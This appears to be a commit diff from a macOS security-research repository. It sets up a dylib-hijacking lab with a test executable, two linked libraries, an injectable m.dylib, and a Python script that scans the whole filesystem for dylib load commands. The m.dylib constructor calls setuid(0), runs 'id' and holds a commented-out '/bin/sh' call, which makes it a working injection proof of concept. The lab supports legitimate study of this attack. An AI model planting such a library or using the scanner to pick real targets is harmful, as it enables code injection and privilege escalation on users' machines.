mirror of
https://github.com/Karmaz95/Snake_Apple.git
synced 2026-08-17 21:47:10 +02:00
This commit is contained in:
@@ -0,0 +1,11 @@
|
||||
//clang -dynamiclib lib1.c -o $PWD/lib1.dylib -L. -l2
|
||||
#include <stdio.h>
|
||||
#include "lib1.h"
|
||||
#include "lib2.h"
|
||||
|
||||
void callLib1Function() {
|
||||
printf("Now, wer are in lib1.dylib code.\n");
|
||||
printf("Press enter to enter lib2.dylib function\n");
|
||||
getchar();
|
||||
callLib2Function();
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
#ifndef LIB1_H
|
||||
#define LIB1_H
|
||||
|
||||
void callLib1Function();
|
||||
|
||||
#endif
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
//clang -dynamiclib lib2.c -o $PWD/lib2.dylib
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void callLib2Function() {
|
||||
printf("Now we are in lib2.dylib.\n");
|
||||
printf("Press enter to back to executable code...\n");
|
||||
getchar();
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
#ifndef LIB2_H
|
||||
#define LIB2_H
|
||||
|
||||
void callLib2Function();
|
||||
|
||||
#endif
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
// clang -dynamiclib m.c -o m.dylib //-o $PWD/TARGET_DYLIB
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
__attribute__((constructor))
|
||||
void myconstructor(int argc, const char **argv)
|
||||
{
|
||||
syslog(LOG_ERR, "[+] m.dylib injected in %s\n", argv[0]);
|
||||
printf("[+] m.dylib injected in %s\n", argv[0]);
|
||||
setuid(0);
|
||||
system("id");
|
||||
//system("/bin/sh");
|
||||
}
|
||||
|
||||
void callLib1Function(void){}
|
||||
@@ -0,0 +1,15 @@
|
||||
//clang main.c -o $PWD/executable -L. -l1
|
||||
//codesign -s IDENTITY --option=runtime -f executable
|
||||
#include <stdio.h>
|
||||
#include "lib1.h"
|
||||
|
||||
int main() {
|
||||
printf("Main program\n");
|
||||
printf("Press enter to call lib1.dylib function...\n");
|
||||
getchar();
|
||||
callLib1Function();
|
||||
printf("Press Enter to exit...\n");
|
||||
getchar();
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
#include "mylib.h"
|
||||
#include <stdio.h>
|
||||
|
||||
void myFunction() {
|
||||
printf("Hello from mylib!\n");
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
void my_function(); // Declare the function prototype
|
||||
@@ -0,0 +1,6 @@
|
||||
#include "mylib.h"
|
||||
|
||||
int main() {
|
||||
myFunction(); // Call the function from the library
|
||||
return 0;
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Executable
+1304
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,100 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import lief
|
||||
|
||||
|
||||
class MachODylibLoadCommandsFinder:
|
||||
'''
|
||||
Recursively crawl the system and parse Mach-O files to find DYLIB related load commands.
|
||||
1. Check if the file is a Mach-O.
|
||||
2. List all Load Commands.
|
||||
3. Check if any DYLIB-related LC exists.
|
||||
LC_LOAD_DYLIB
|
||||
LC_ID_DYLIB
|
||||
LC_PREBOUND_DYLIB
|
||||
LC_LOAD_WEAK_DYLIB
|
||||
LC_REEXPORT_DYLIB
|
||||
LC_LAZY_LOAD_DYLIB
|
||||
LC_LOAD_UPWARD_DYLIB
|
||||
LC_RPATH
|
||||
4. Print the total Mach-O files analyzed and how many DYLIB-related LCs existed.
|
||||
'''
|
||||
def __init__(self):
|
||||
self.total_files_analyzed = 0
|
||||
self.binary_dylibs = {}
|
||||
self.dylib_counts = {
|
||||
"LC_LOAD_DYLIB" : 0,
|
||||
"LC_ID_DYLIB": 0,
|
||||
"LC_PREBOUND_DYLIB": 0,
|
||||
"LC_LOAD_WEAK_DYLIB": 0,
|
||||
"LC_REEXPORT_DYLIB": 0,
|
||||
"LC_LAZY_LOAD_DYLIB": 0,
|
||||
"LC_LOAD_UPWARD_DYLIB": 0,
|
||||
"LC_RPATH": 0,
|
||||
}
|
||||
|
||||
def parseDirectory(self, directory_path):
|
||||
'''Recursively check if the path is a file. If it is, use checkIfMacho method.'''
|
||||
for root, dirs, files in os.walk(directory_path):
|
||||
for file in files:
|
||||
file_path = os.path.join(root, file)
|
||||
if os.path.isfile(file_path):
|
||||
self.checkIfMacho(file_path)
|
||||
|
||||
def checkIfMacho(self, file_path):
|
||||
binaries = lief.MachO.parse(file_path)
|
||||
if binaries:
|
||||
self.parseFatBinary(binaries, file_path)
|
||||
|
||||
def parseFatBinary(self, binaries, file_path):
|
||||
for binary in binaries:
|
||||
if binary.header.cpu_type == lief.MachO.CPU_TYPES.ARM64:
|
||||
self.total_files_analyzed += 1
|
||||
self.checkDylibLoadCommands(binary, file_path)
|
||||
|
||||
def checkDylibLoadCommands(self, binary, file_path):
|
||||
dylib_related_lcs = {
|
||||
lief.MachO.LOAD_COMMAND_TYPES.LOAD_DYLIB: "LC_LOAD_DYLIB",
|
||||
lief.MachO.LOAD_COMMAND_TYPES.ID_DYLIB: "LC_ID_DYLIB",
|
||||
lief.MachO.LOAD_COMMAND_TYPES.PREBOUND_DYLIB: "LC_PREBOUND_DYLIB",
|
||||
lief.MachO.LOAD_COMMAND_TYPES.LOAD_WEAK_DYLIB: "LC_LOAD_WEAK_DYLIB",
|
||||
lief.MachO.LOAD_COMMAND_TYPES.REEXPORT_DYLIB: "LC_REEXPORT_DYLIB",
|
||||
lief.MachO.LOAD_COMMAND_TYPES.LAZY_LOAD_DYLIB: "LC_LAZY_LOAD_DYLIB",
|
||||
lief.MachO.LOAD_COMMAND_TYPES.LOAD_UPWARD_DYLIB: "LC_LOAD_UPWARD_DYLIB",
|
||||
lief.MachO.LOAD_COMMAND_TYPES.RPATH: "LC_RPATH",
|
||||
}
|
||||
|
||||
binary_dylibs_set = set()
|
||||
|
||||
for cmd in binary.commands:
|
||||
if cmd.command in dylib_related_lcs:
|
||||
lc_name = dylib_related_lcs[cmd.command]
|
||||
self.dylib_counts[lc_name] += 1
|
||||
binary_dylibs_set.add(lc_name)
|
||||
|
||||
self.binary_dylibs[file_path] = binary_dylibs_set
|
||||
|
||||
def print_results(self):
|
||||
print(f"Total Mach-O files analyzed: {self.total_files_analyzed}")
|
||||
print("DYLIB-related LC counts:")
|
||||
for lc, count in self.dylib_counts.items():
|
||||
print(f"{lc}: {count}")
|
||||
|
||||
print("\nBinary Dylibs:")
|
||||
for binary, dylibs in self.binary_dylibs.items():
|
||||
print(f"{binary}: {dylibs}")
|
||||
|
||||
def save_results(self):
|
||||
with open("MachODylibLoadCommandsFinder_results.txt", "a") as f:
|
||||
f.write(f"Total Mach-O files analyzed: {self.total_files_analyzed}\n")
|
||||
f.write("DYLIB-related LC counts:\n")
|
||||
for lc, count in self.dylib_counts.items():
|
||||
f.write(f"{lc}: {count}\n")
|
||||
for binary, dylibs in self.binary_dylibs.items():
|
||||
f.write(f"{binary}: {', '.join(dylibs)}\n")
|
||||
|
||||
|
||||
macho_checker = MachODylibLoadCommandsFinder()
|
||||
macho_checker.parseDirectory("/")
|
||||
macho_checker.print_results()
|
||||
macho_checker.save_results()
|
||||
Reference in New Issue
Block a user